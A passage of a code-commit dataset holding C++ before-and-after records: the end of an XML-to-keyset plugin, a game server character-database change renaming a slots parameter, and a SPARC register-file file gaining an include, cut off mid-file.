KeySet & ks)\n{\n\tKeySet result (elektraArrayGet (arrayKey.getKey (), ks.getKeySet ()));\n\tif (!result.size ())\n\t{\n\t\tKey arrayBaseKey = arrayKey.dup ();\n\t\tarrayBaseKey.addBaseName (\"#\");\n\t\tresult.append (arrayBaseKey);\n\t}\n\treturn elektraArrayGetNextKey (result.getKeySet ());\n}\n\nvoid dom2keyset (DOMNode const * n, Key const & parent, KeySet & ks, map<Key, bool> & arrays)\n{\n\tif (n)\n\t{\n\t\tKey current (parent.getFullName (), KEY_END);\n\n\t\tif (n->getNodeType () == DOMNode::ELEMENT_NODE)\n\t\t{\n\t\t\tnode2key (n, parent, ks, current);\n\n\t\t\tauto it = arrays.find (current);\n\t\t\tconst bool array = it != arrays.end () && it->second;\n\t\t\t\/\/ Multiple elements with that name, map as an array\n\t\t\tif (array) current.addBaseName (newArrayKey (current, ks).getBaseName ());\n\n\t\t\t\/\/ Only add keys with a value, attributes or leafs or the root to preserve the original name or array keys\n\t\t\tif (n->hasAttributes () || !current.getString ().empty () || !n->getFirstChild () || !ks.size () || array)\n\t\t\t{\n\t\t\t\tELEKTRA_LOG_DEBUG (\"adding %s\", current.getFullName ().c_str ());\n\t\t\t\tks.append (current);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tELEKTRA_LOG_DEBUG (\"skipping %s\", current.getFullName ().c_str ());\n\t\t\t}\n\t\t}\n\t\t\/\/ the first level cannot have more children so its enough to check that here\n\t\tanalyzeMultipleElements (n, current, arrays);\n\t\tfor (auto child = n->getFirstChild (); child != 0; child = child->getNextSibling ())\n\t\t\tdom2keyset (child, current, ks, arrays);\n\t}\n}\n\n} \/\/ namespace\n\nvoid xerces::deserialize (Key const & parentKey, KeySet & ks)\n{\n\tif (!parentKey.isValid ()) throw XercesPluginException (\"Parent key is invalid\");\n\tif (parentKey.get<string> ().empty ()) throw XercesPluginException (\"No source file specified as key value\");\n\n\tELEKTRA_LOG_DEBUG (\"deserializing relative to %s from file %s\", parentKey.getFullName ().c_str (),\n\t\t\t   parentKey.get<string> ().c_str ());\n\tauto document = doc2dom (parentKey.get<string> ());\n\tmap<Key, bool> arrays;\n\tif (document) dom2keyset (document->getDocumentElement (), parentKey, ks, arrays);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Super Entity Game Server Project\n * http:\/\/segs.sf.net\/\n * Copyright (c) 2006 - 2016 Super Entity Game Server Team (see Authors.txt)\n * This software is licensed! (See License.txt for details)\n *\n *\/\n\n\/\/ segs includes\n\n#include \"CharacterDatabase.h\"\n#include \"AccountInfo.h\"\n#include \"AdminServer.h\"\n#include \"Character.h\"\n#include \"Costume.h\"\n\n#include <QtSql\/QSqlDatabase>\n#include <QtSql\/QSqlDriver>\n#include <QtCore\/QDebug>\n#include <QtSql\/QSqlError>\n#include <cstdlib>\n#include <cstdio>\nusing namespace std;\n\nCharacterDatabase::~CharacterDatabase()\n{\n    if(m_db)\n        m_db->close();\n}\nstatic bool prepQuery(QSqlQuery &qr,const QString &txt) {\n    if(!qr.prepare(txt)) {\n        qDebug() << \"SQL_ERROR:\"<<qr.lastError();\n        return false;\n    }\n    return true;\n}\nstatic bool doIt(QSqlQuery &qr) {\n    if(!qr.exec()) {\n        qDebug() << \"SQL_ERROR:\"<<qr.lastError();\n        return false;\n    }\n    return true;\n}\nvoid CharacterDatabase::on_connected(QSqlDatabase *db)\n{\n    m_db = db;\n    if(!db)\n        return;\n\n    m_prepared_fill = QSqlQuery(*db);\n    m_prepared_account_insert = QSqlQuery(*db);\n    m_prepared_char_insert = QSqlQuery(*db);\n    m_prepared_costume_insert = QSqlQuery(*db);\n    m_prepared_char_select = QSqlQuery(*db);\n    m_prepared_account_select = QSqlQuery(*db);\n    m_prepared_char_exists = QSqlQuery(*db);\n    m_prepared_char_delete = QSqlQuery(*db);\n\n\n    prepQuery(m_prepared_fill,\"SELECT * FROM costume WHERE character_id=? AND costume_index=?\");\n    prepQuery(m_prepared_account_insert,\"INSERT INTO accounts  (account_id,max_slots) VALUES (?,?)\");\n    prepQuery(m_prepared_char_insert,\n                \"INSERT INTO characters  \"\n                \"(char_level,slot_index,account_id,char_name,archetype,origin,bodytype,current_map) \"\n                \"VALUES \"\n                \"(?,?,?,?,?,?,?,?)\");\n    prepQuery(m_prepared_costume_insert,\n                \"INSERT INTO costume (character_id,costume_index,skin_color,parts) VALUES \"\n                \"(?,?,?,?)\");\n    prepQuery(m_prepared_char_select,\"SELECT * FROM characters WHERE account_id=? AND slot_index=?\");\n    prepQuery(m_prepared_account_select,\"SELECT * FROM accounts WHERE account_id=?\");\n    prepQuery(m_prepared_char_exists,\"SELECT exists (SELECT 1 FROM characters WHERE char_name = $1 LIMIT 1)\");\n    prepQuery(m_prepared_char_delete,\"DELETE FROM characters WHERE account_id=? AND slot_index=?\");\n}\n\n\n\/\/ UserToken,\nbool CharacterDatabase::remove_character(AccountInfo *c,int8_t slot_idx)\n{\n    assert(c!=nullptr);\n    m_prepared_char_delete.bindValue(0,quint64(c->account_server_id()));\n    m_prepared_char_delete.bindValue(1,(uint32_t)slot_idx);\n    if(!doIt(m_prepared_char_delete))\n        return false;\n    return true;\n}\nbool CharacterDatabase::named_character_exists(const QString &name)\n{\n    m_prepared_char_exists.bindValue(0,name);\n    if(!doIt(m_prepared_char_exists))\n        return false;\n\n    if(!m_prepared_char_exists.next())\n        return false;\n    \/\/ TODO: handle case of multiple accounts with same name ?\n    return m_prepared_char_exists.value(0).toBool();\n}\nbool CharacterDatabase::fill( AccountInfo *c )\n{\n    assert(c&&c->account_server_id());\n\n    m_prepared_account_select.bindValue(0,quint64(c->account_server_id()));\n    if(!doIt(m_prepared_account_select))\n        return false;\n\n\n    if(!m_prepared_account_select.next())\n        return false;\n    \/\/ TODO: handle case of multiple accounts with same name ?\n\n    c->max_slots(m_prepared_account_select.value(\"max_slots\").toUInt());\n    c->game_server_id(m_prepared_account_select.value(\"id\").toULongLong());\n\n    ACE_DEBUG((LM_INFO,\"CharacterClient id: %i\\n\",c->account_server_id()));\n    ACE_DEBUG((LM_INFO,\"CharacterClient slots: %i\\n\",c->max_slots()));\n    return true;\n}\n#define STR_OR_EMPTY(c) ((!c.isEmpty()) ? c:\"EMPTY\")\n#define STR_OR_VERY_EMPTY(c) ((c!=0) ? c:\"\")\nbool CharacterDatabase::fill( Character *c)\n{\n    assert(c&&c->getAccountId());\n\n    m_prepared_char_select.bindValue(0,quint64(c->getAccountId()));\n    m_prepared_char_select.bindValue(1,(uint16_t)c->getIndex());\n    if(!doIt(m_prepared_char_select))\n        return false;\n\n    if(!m_prepared_char_select.next())\n    {\n        c->reset(); \/\/ empty slot\n        return true;\n    }\n\/\/    else if (results.num_rows()>1)\n\/\/        ACE_ERROR_RETURN((LM_ERROR, ACE_TEXT (\"(%P|%t) CharacterDatabase::fill query returned wrong number of results. %s failed.\\n\"), query.str().c_str()),false);\n\n    c->setLevel((uint8_t)m_prepared_char_select.value(\"char_level\").toUInt());\n    c->setName(STR_OR_EMPTY(m_prepared_char_select.value(\"char_name\").toString()));\n    c->m_class_name = (STR_OR_EMPTY(m_prepared_char_select.value(\"archetype\").toString()));\n    c->m_origin_name= (STR_OR_EMPTY(m_prepared_char_select.value(\"origin\").toString()));\n\n    CharacterCostume *main_costume = new CharacterCostume;\n    \/\/ appearance related.\n    main_costume->m_body_type = m_prepared_char_select.value(\"bodytype\").toUInt(); \/\/ 0\n    c->setMapName(STR_OR_EMPTY(m_prepared_char_select.value(\"current_map\").toString()));\n    c->setLastCostumeId(m_prepared_char_select.value(\"last_costume_id\").toUInt());\n    main_costume->setSlotIndex(0);\n    main_costume->setCharacterId(m_prepared_char_select.value(\"id\").toULongLong());\n    c->m_costumes.push_back(main_costume);\n    return fill(main_costume);\n}\n#ifndef ARRAYSIZE\n#define ARRAYSIZE(x) (sizeof(x)\/sizeof(x[1]))\n#define DEFINED_ARRAYSIZE\n#endif\nbool CharacterDatabase::fill( CharacterCostume *c)\n{\n    assert(c&&c->getCharacterId());\n\n    m_prepared_fill.bindValue(0,quint64(c->getCharacterId()));\n    m_prepared_fill.bindValue(1,(uint16_t)c->getSlotIndex());\n    if(!doIt(m_prepared_fill))\n        return false;\n\n    if(!m_prepared_fill.next()) \/\/ retry with the first one\n    {\n        m_prepared_fill.bindValue(0,quint64(c->getCharacterId()));\n        m_prepared_fill.bindValue(1,0); \/\/ get first costume\n\n        if(!doIt(m_prepared_fill))\n            return false;\n        if(!m_prepared_fill.next()) {\n            ACE_ERROR_RETURN((LM_ERROR, ACE_TEXT (\"(%P|%t) CharacterDatabase::fill no costumes.\\n\")),false);\n            return false;\n        }\n    }\n    c->skin_color = m_prepared_fill.value(\"skin_color\").toUInt();\n    QString serialized_parts= m_prepared_fill.value(\"parts\").toString();\n    c->serializeFromDb(serialized_parts);\n    c->m_non_default_costme_p = false;\n    return true;\n}\n\nbool CharacterDatabase::CreateLinkedAccount( uint64_t auth_account_id,const std::string &username,int max_account_slots )\n{\n    \/\/assert(auth_account_id>0);  sqlite3 autogenerated values start from 0\n    assert(username.size()>2);\n    m_prepared_account_insert.bindValue(0,quint64(auth_account_id));\n    m_prepared_account_insert.bindValue(1,max_account_slots);\n\n    if(!doIt(m_prepared_account_insert))\n        return false;\n    return true;\n}\n\nint CharacterDatabase::remove_account( uint64_t \/*acc_serv_id*\/ )\n{\n    return 0;\n}\n\/\/TODO: SQL String sanitization\nbool CharacterDatabase::create( uint64_t gid,uint8_t slot,Character *c )\n{\n    assert(m_db->driver()->hasFeature(QSqlDriver::LastInsertId));\n    assert(gid>0);\n    assert(c);\n    assert(slot<8);\n    Costume *cst = c->getCurrentCostume();\n    if(!cst) {\n        ACE_ERROR_RETURN((LM_ERROR, ACE_TEXT(\"(%P|%t) CharacterDatabase::create cannot insert char without costume.\\n\"))\n                         ,false);\n    }\n    m_prepared_char_insert.bindValue(0, c->m_level);\n    m_prepared_char_insert.bindValue(1, uint32_t(slot));\n    m_prepared_char_insert.bindValue(2, quint64(gid));\n    m_prepared_char_insert.bindValue(3, c->m_name);\n    m_prepared_char_insert.bindValue(4, c->m_class_name);\n    m_prepared_char_insert.bindValue(5, c->m_origin_name);\n    m_prepared_char_insert.bindValue(6, c->getCurrentCostume()->m_body_type);\n    m_prepared_char_insert.bindValue(7, c->m_mapName);\n    if(!doIt(m_prepared_char_insert))\n        return false;\n    int64_t char_id = m_prepared_char_insert.lastInsertId().toLongLong();\n\n    \/\/ create costume\n\n    QString costume_parts;\n    cst->serializeToDb(costume_parts);\n    m_prepared_costume_insert.bindValue(0,quint64(char_id));\n    m_prepared_costume_insert.bindValue(1,uint32_t(0));\n    m_prepared_costume_insert.bindValue(2,uint32_t(cst->skin_color));\n    m_prepared_costume_insert.bindValue(3,costume_parts);\n\n    if(!doIt(m_prepared_costume_insert))\n        return false;\n    return true;\n}\n#ifdef DEFINED_ARRAYSIZE\n#undef DEFINED_ARRAYSIZE\n#undef ARRAYSIZE\n#endif\n<commit_msg>Change max_account_slots to max_character_slots<commit_after>\/*\n * Super Entity Game Server Project\n * http:\/\/segs.sf.net\/\n * Copyright (c) 2006 - 2016 Super Entity Game Server Team (see Authors.txt)\n * This software is licensed! (See License.txt for details)\n *\n *\/\n\n\/\/ segs includes\n\n#include \"CharacterDatabase.h\"\n#include \"AccountInfo.h\"\n#include \"AdminServer.h\"\n#include \"Character.h\"\n#include \"Costume.h\"\n\n#include <QtSql\/QSqlDatabase>\n#include <QtSql\/QSqlDriver>\n#include <QtCore\/QDebug>\n#include <QtSql\/QSqlError>\n#include <cstdlib>\n#include <cstdio>\nusing namespace std;\n\nCharacterDatabase::~CharacterDatabase()\n{\n    if(m_db)\n        m_db->close();\n}\nstatic bool prepQuery(QSqlQuery &qr,const QString &txt) {\n    if(!qr.prepare(txt)) {\n        qDebug() << \"SQL_ERROR:\"<<qr.lastError();\n        return false;\n    }\n    return true;\n}\nstatic bool doIt(QSqlQuery &qr) {\n    if(!qr.exec()) {\n        qDebug() << \"SQL_ERROR:\"<<qr.lastError();\n        return false;\n    }\n    return true;\n}\nvoid CharacterDatabase::on_connected(QSqlDatabase *db)\n{\n    m_db = db;\n    if(!db)\n        return;\n\n    m_prepared_fill = QSqlQuery(*db);\n    m_prepared_account_insert = QSqlQuery(*db);\n    m_prepared_char_insert = QSqlQuery(*db);\n    m_prepared_costume_insert = QSqlQuery(*db);\n    m_prepared_char_select = QSqlQuery(*db);\n    m_prepared_account_select = QSqlQuery(*db);\n    m_prepared_char_exists = QSqlQuery(*db);\n    m_prepared_char_delete = QSqlQuery(*db);\n\n\n    prepQuery(m_prepared_fill,\"SELECT * FROM costume WHERE character_id=? AND costume_index=?\");\n    prepQuery(m_prepared_account_insert,\"INSERT INTO accounts  (account_id,max_slots) VALUES (?,?)\");\n    prepQuery(m_prepared_char_insert,\n                \"INSERT INTO characters  \"\n                \"(char_level,slot_index,account_id,char_name,archetype,origin,bodytype,current_map) \"\n                \"VALUES \"\n                \"(?,?,?,?,?,?,?,?)\");\n    prepQuery(m_prepared_costume_insert,\n                \"INSERT INTO costume (character_id,costume_index,skin_color,parts) VALUES \"\n                \"(?,?,?,?)\");\n    prepQuery(m_prepared_char_select,\"SELECT * FROM characters WHERE account_id=? AND slot_index=?\");\n    prepQuery(m_prepared_account_select,\"SELECT * FROM accounts WHERE account_id=?\");\n    prepQuery(m_prepared_char_exists,\"SELECT exists (SELECT 1 FROM characters WHERE char_name = $1 LIMIT 1)\");\n    prepQuery(m_prepared_char_delete,\"DELETE FROM characters WHERE account_id=? AND slot_index=?\");\n}\n\n\n\/\/ UserToken,\nbool CharacterDatabase::remove_character(AccountInfo *c,int8_t slot_idx)\n{\n    assert(c!=nullptr);\n    m_prepared_char_delete.bindValue(0,quint64(c->account_server_id()));\n    m_prepared_char_delete.bindValue(1,(uint32_t)slot_idx);\n    if(!doIt(m_prepared_char_delete))\n        return false;\n    return true;\n}\nbool CharacterDatabase::named_character_exists(const QString &name)\n{\n    m_prepared_char_exists.bindValue(0,name);\n    if(!doIt(m_prepared_char_exists))\n        return false;\n\n    if(!m_prepared_char_exists.next())\n        return false;\n    \/\/ TODO: handle case of multiple accounts with same name ?\n    return m_prepared_char_exists.value(0).toBool();\n}\nbool CharacterDatabase::fill( AccountInfo *c )\n{\n    assert(c&&c->account_server_id());\n\n    m_prepared_account_select.bindValue(0,quint64(c->account_server_id()));\n    if(!doIt(m_prepared_account_select))\n        return false;\n\n\n    if(!m_prepared_account_select.next())\n        return false;\n    \/\/ TODO: handle case of multiple accounts with same name ?\n\n    c->max_slots(m_prepared_account_select.value(\"max_slots\").toUInt());\n    c->game_server_id(m_prepared_account_select.value(\"id\").toULongLong());\n\n    ACE_DEBUG((LM_INFO,\"CharacterClient id: %i\\n\",c->account_server_id()));\n    ACE_DEBUG((LM_INFO,\"CharacterClient slots: %i\\n\",c->max_slots()));\n    return true;\n}\n#define STR_OR_EMPTY(c) ((!c.isEmpty()) ? c:\"EMPTY\")\n#define STR_OR_VERY_EMPTY(c) ((c!=0) ? c:\"\")\nbool CharacterDatabase::fill( Character *c)\n{\n    assert(c&&c->getAccountId());\n\n    m_prepared_char_select.bindValue(0,quint64(c->getAccountId()));\n    m_prepared_char_select.bindValue(1,(uint16_t)c->getIndex());\n    if(!doIt(m_prepared_char_select))\n        return false;\n\n    if(!m_prepared_char_select.next())\n    {\n        c->reset(); \/\/ empty slot\n        return true;\n    }\n\/\/    else if (results.num_rows()>1)\n\/\/        ACE_ERROR_RETURN((LM_ERROR, ACE_TEXT (\"(%P|%t) CharacterDatabase::fill query returned wrong number of results. %s failed.\\n\"), query.str().c_str()),false);\n\n    c->setLevel((uint8_t)m_prepared_char_select.value(\"char_level\").toUInt());\n    c->setName(STR_OR_EMPTY(m_prepared_char_select.value(\"char_name\").toString()));\n    c->m_class_name = (STR_OR_EMPTY(m_prepared_char_select.value(\"archetype\").toString()));\n    c->m_origin_name= (STR_OR_EMPTY(m_prepared_char_select.value(\"origin\").toString()));\n\n    CharacterCostume *main_costume = new CharacterCostume;\n    \/\/ appearance related.\n    main_costume->m_body_type = m_prepared_char_select.value(\"bodytype\").toUInt(); \/\/ 0\n    c->setMapName(STR_OR_EMPTY(m_prepared_char_select.value(\"current_map\").toString()));\n    c->setLastCostumeId(m_prepared_char_select.value(\"last_costume_id\").toUInt());\n    main_costume->setSlotIndex(0);\n    main_costume->setCharacterId(m_prepared_char_select.value(\"id\").toULongLong());\n    c->m_costumes.push_back(main_costume);\n    return fill(main_costume);\n}\n#ifndef ARRAYSIZE\n#define ARRAYSIZE(x) (sizeof(x)\/sizeof(x[1]))\n#define DEFINED_ARRAYSIZE\n#endif\nbool CharacterDatabase::fill( CharacterCostume *c)\n{\n    assert(c&&c->getCharacterId());\n\n    m_prepared_fill.bindValue(0,quint64(c->getCharacterId()));\n    m_prepared_fill.bindValue(1,(uint16_t)c->getSlotIndex());\n    if(!doIt(m_prepared_fill))\n        return false;\n\n    if(!m_prepared_fill.next()) \/\/ retry with the first one\n    {\n        m_prepared_fill.bindValue(0,quint64(c->getCharacterId()));\n        m_prepared_fill.bindValue(1,0); \/\/ get first costume\n\n        if(!doIt(m_prepared_fill))\n            return false;\n        if(!m_prepared_fill.next()) {\n            ACE_ERROR_RETURN((LM_ERROR, ACE_TEXT (\"(%P|%t) CharacterDatabase::fill no costumes.\\n\")),false);\n            return false;\n        }\n    }\n    c->skin_color = m_prepared_fill.value(\"skin_color\").toUInt();\n    QString serialized_parts= m_prepared_fill.value(\"parts\").toString();\n    c->serializeFromDb(serialized_parts);\n    c->m_non_default_costme_p = false;\n    return true;\n}\n\nbool CharacterDatabase::CreateLinkedAccount( uint64_t auth_account_id,const std::string &username,int max_character_slots )\n{\n    \/\/assert(auth_account_id>0);  sqlite3 autogenerated values start from 0\n    assert(username.size()>2);\n    m_prepared_account_insert.bindValue(0,quint64(auth_account_id));\n    m_prepared_account_insert.bindValue(1,max_character_slots);\n\n    if(!doIt(m_prepared_account_insert))\n        return false;\n    return true;\n}\n\nint CharacterDatabase::remove_account( uint64_t \/*acc_serv_id*\/ )\n{\n    return 0;\n}\n\/\/TODO: SQL String sanitization\nbool CharacterDatabase::create( uint64_t gid,uint8_t slot,Character *c )\n{\n    assert(m_db->driver()->hasFeature(QSqlDriver::LastInsertId));\n    assert(gid>0);\n    assert(c);\n    assert(slot<8);\n    Costume *cst = c->getCurrentCostume();\n    if(!cst) {\n        ACE_ERROR_RETURN((LM_ERROR, ACE_TEXT(\"(%P|%t) CharacterDatabase::create cannot insert char without costume.\\n\"))\n                         ,false);\n    }\n    m_prepared_char_insert.bindValue(0, c->m_level);\n    m_prepared_char_insert.bindValue(1, uint32_t(slot));\n    m_prepared_char_insert.bindValue(2, quint64(gid));\n    m_prepared_char_insert.bindValue(3, c->m_name);\n    m_prepared_char_insert.bindValue(4, c->m_class_name);\n    m_prepared_char_insert.bindValue(5, c->m_origin_name);\n    m_prepared_char_insert.bindValue(6, c->getCurrentCostume()->m_body_type);\n    m_prepared_char_insert.bindValue(7, c->m_mapName);\n    if(!doIt(m_prepared_char_insert))\n        return false;\n    int64_t char_id = m_prepared_char_insert.lastInsertId().toLongLong();\n\n    \/\/ create costume\n\n    QString costume_parts;\n    cst->serializeToDb(costume_parts);\n    m_prepared_costume_insert.bindValue(0,quint64(char_id));\n    m_prepared_costume_insert.bindValue(1,uint32_t(0));\n    m_prepared_costume_insert.bindValue(2,uint32_t(cst->skin_color));\n    m_prepared_costume_insert.bindValue(3,costume_parts);\n\n    if(!doIt(m_prepared_costume_insert))\n        return false;\n    return true;\n}\n#ifdef DEFINED_ARRAYSIZE\n#undef DEFINED_ARRAYSIZE\n#undef ARRAYSIZE\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2003-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *          Ali Saidi\n *\/\n\n#include \"arch\/sparc\/intregfile.hh\"\n#include \"base\/trace.hh\"\n#include \"sim\/serialize.hh\"\n\n#include <string.h>\n\nusing namespace SparcISA;\nusing namespace std;\n\nclass Checkpoint;\n\nstring SparcISA::getIntRegName(RegIndex index)\n{\n    static std::string intRegName[NumIntArchRegs] =\n        {\"g0\", \"g1\", \"g2\", \"g3\", \"g4\", \"g5\", \"g6\", \"g7\",\n         \"o0\", \"o1\", \"o2\", \"o3\", \"o4\", \"o5\", \"o6\", \"o7\",\n         \"l0\", \"l1\", \"l2\", \"l3\", \"l4\", \"l5\", \"l6\", \"l7\",\n         \"i0\", \"i1\", \"i2\", \"i3\", \"i4\", \"i5\", \"i6\", \"i7\"};\n    return intRegName[index];\n}\n\nint IntRegFile::flattenIndex(int reg)\n{\n    int flatIndex = offset[reg >> FrameOffsetBits]\n        | (reg & FrameOffsetMask);\n    DPRINTF(Sparc, \"Flattened index %d into %d.\\n\", reg, flatIndex);\n    return flatIndex;\n}\n\nvoid IntRegFile::clear()\n{\n    int x;\n    for (x = 0; x < MaxGL; x++)\n        memset(regGlobals[x], 0, sizeof(IntReg) * RegsPerFrame);\n    for(int x = 0; x < 2 * NWindows; x++)\n        memset(regSegments[x], 0, sizeof(IntReg) * RegsPerFrame);\n}\n\nIntRegFile::IntRegFile()\n{\n    offset[Globals] = 0;\n    regView[Globals] = regGlobals[0];\n    setCWP(0);\n    clear();\n}\n\nIntReg IntRegFile::readReg(int intReg)\n{\n    IntReg val;\n    if(intReg < NumIntArchRegs)\n        val = regView[intReg >> FrameOffsetBits][intReg & FrameOffsetMask];\n    else if((intReg -= NumIntArchRegs) < NumMicroIntRegs)\n        val = microRegs[intReg];\n    else\n        panic(\"Tried to read non-existant integer register %d, %d\\n\", NumIntArchRegs + NumMicroIntRegs + intReg, intReg);\n\n    DPRINTF(Sparc, \"Read register %d = 0x%x\\n\", intReg, val);\n    return val;\n}\n\nvoid IntRegFile::setReg(int intReg, const IntReg &val)\n{\n    if(intReg)\n    {\n        DPRINTF(Sparc, \"Wrote register %d = 0x%x\\n\", intReg, val);\n        if(intReg < NumIntArchRegs)\n            regView[intReg >> FrameOffsetBits][intReg & FrameOffsetMask] = val;\n        else if((intReg -= NumIntArchRegs) < NumMicroIntRegs)\n            microRegs[intReg] = val;\n        else\n            panic(\"Tried to set non-existant integer register\\n\");\n    }\n}\n\n\/\/This doesn't effect the actual CWP register.\n\/\/It's purpose is to adjust the view of the register file\n\/\/to what it would be if CWP = cwp.\nvoid IntRegFile::setCWP(int cwp)\n{\n    int index = ((NWindows - cwp) % NWindows) * 2;\n    offset[Outputs] = FrameOffset + (index * RegsPerFrame);\n    offset[Locals] = FrameOffset + ((index+1) * RegsPerFrame);\n    offset[Inputs] = FrameOffset +\n        (((index+2) % (NWindows * 2)) * RegsPerFrame);\n    regView[Outputs] = regSegments[index];\n    regView[Locals] = regSegments[index+1];\n    regView[Inputs] = regSegments[(index+2) % (NWindows * 2)];\n\n    DPRINTF(Sparc, \"Changed the CWP value to %d\\n\", cwp);\n}\n\nvoid IntRegFile::setGlobals(int gl)\n{\n    DPRINTF(Sparc, \"Now using %d globals\\n\", gl);\n\n    regView[Globals] = regGlobals[gl];\n    offset[Globals] = RegGlobalOffset + gl * RegsPerFrame;\n}\n\nvoid IntRegFile::serialize(std::ostream &os)\n{\n    unsigned int x;\n    for(x = 0; x < MaxGL; x++)\n        SERIALIZE_ARRAY(regGlobals[x], RegsPerFrame);\n    for(x = 0; x < 2 * NWindows; x++)\n        SERIALIZE_ARRAY(regSegments[x], RegsPerFrame);\n    SERIALIZE_ARRAY(microRegs, NumMicroIntRegs);\n}\n\nvoid IntRegFile::unserialize(Checkpoint *cp, const std::string &section)\n{\n    unsigned int x;\n    for(x = 0; x < MaxGL; x++)\n        UNSERIALIZE_ARRAY(regGlobals[x], RegsPerFrame);\n    for(unsigned int x = 0; x < 2 * NWindows; x++)\n        UNSERIALIZE_ARRAY(regSegments[x], RegsPerFrame);\n    UNSERIALIZE_ARRAY(microRegs, NumMicroIntRegs);\n}\n<commit_msg>Fix an include problem.<commit_after>\/*\n * Copyright (c) 2003-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *          Ali Saidi\n *\/\n\n#include \"arch\/sparc\/intregfile.hh\"\n#include \"base\/trace.hh\"\n#include \"base\/misc.hh\"\n#include \"sim\/serialize.hh\"\n\n#include <string.h>\n\nusing namespace SparcISA;\nusing namespace std;\n\nclass Checkpoint;\n\nstring SparcISA::getIntRegName(RegIndex index)\n{\n    static std::string intRegName[NumIntArchRegs] =\n        {\"g0\", \"g1\", \"g2\", \"g3\", \"g4\", \"g5\", \"g6\", \"g7\",\n         \"o0\", \"o1\", \"o2\", \"o3\", \"o4\", \"o5\", \"o6\", \"o7\",\n         \"l0\", \"l1\", \"l2\", \"l3\", \"l4\", \"l5\", \"l6\", \"l7\",\n         \"i0\", \"i1\", \"i2\", \"i3\", \"i4\", \"i5\", \"i6\", \"i7\"};\n    return intRegName[index];\n}\n\nint IntRegFile::flattenIndex(int reg)\n{\n    int flatIndex = offset[reg >> FrameOffsetBits]\n        | (reg & FrameOffsetMask);\n    DPRINTF(Sparc, \"Flattened index %d into %d.\\n\", reg, flatIndex);\n    return flatIndex;\n}\n\nvoid IntRegFile::clear()\n{\n    int x;\n    for (x = 0; x < MaxGL; x++)\n        memset(regGlobals[x], 0, sizeof(IntReg) * RegsPerFrame);\n    for(int x = 0; x < 2 * NWindows; x++)\n        memset(regSegments[x], 0, sizeof(IntReg) * RegsPerFrame);\n}\n\nIntRegFile::IntRegFile()\n{\n    offset[Globals] = 0;\n    regView[Globals] = regGlobals[0];\n    setCWP(0);\n    clear();\n}\n\nIntReg IntRegFile::readReg(int intReg)\n{\n    IntReg val;\n    if(intReg < NumIntArchRegs)\n        val = regView[intReg >> FrameOffsetBits][intReg & FrameOffsetMask];\n    else if((intReg -= NumIntArchRegs) < NumMicroIntRegs)\n        val = microRegs[intReg];\n    else\n        panic(\"Tried to read non-existant integer register %d, %d\\n\",\n                NumIntArchRegs + NumMicroIntRegs + intReg, intReg);\n\n    DPRINTF(Sparc, \"Read register %d = 0x%x\\n\", intReg, val);\n    return val;\n}\n\nvoid IntRegFile::setReg(int intReg, const IntReg &val)\n{\n    if(intReg)\n    {\n        DPRINTF(Sparc, \"Wrote register %d = 0x%x\\n\", intReg, val);\n        if(intReg < NumIntArchRegs)\n            regView[intReg >> FrameOffsetBits][intReg & FrameOffsetMask] = val;\n        else if((intReg -= NumIntArchRegs) < NumMicroIntRegs)\n            microRegs[intReg] = val;\n        else\n            panic(\"Tried to set non-existant integer register\\n\");\n    }\n}\n\n\/\/This doesn't effect the actual 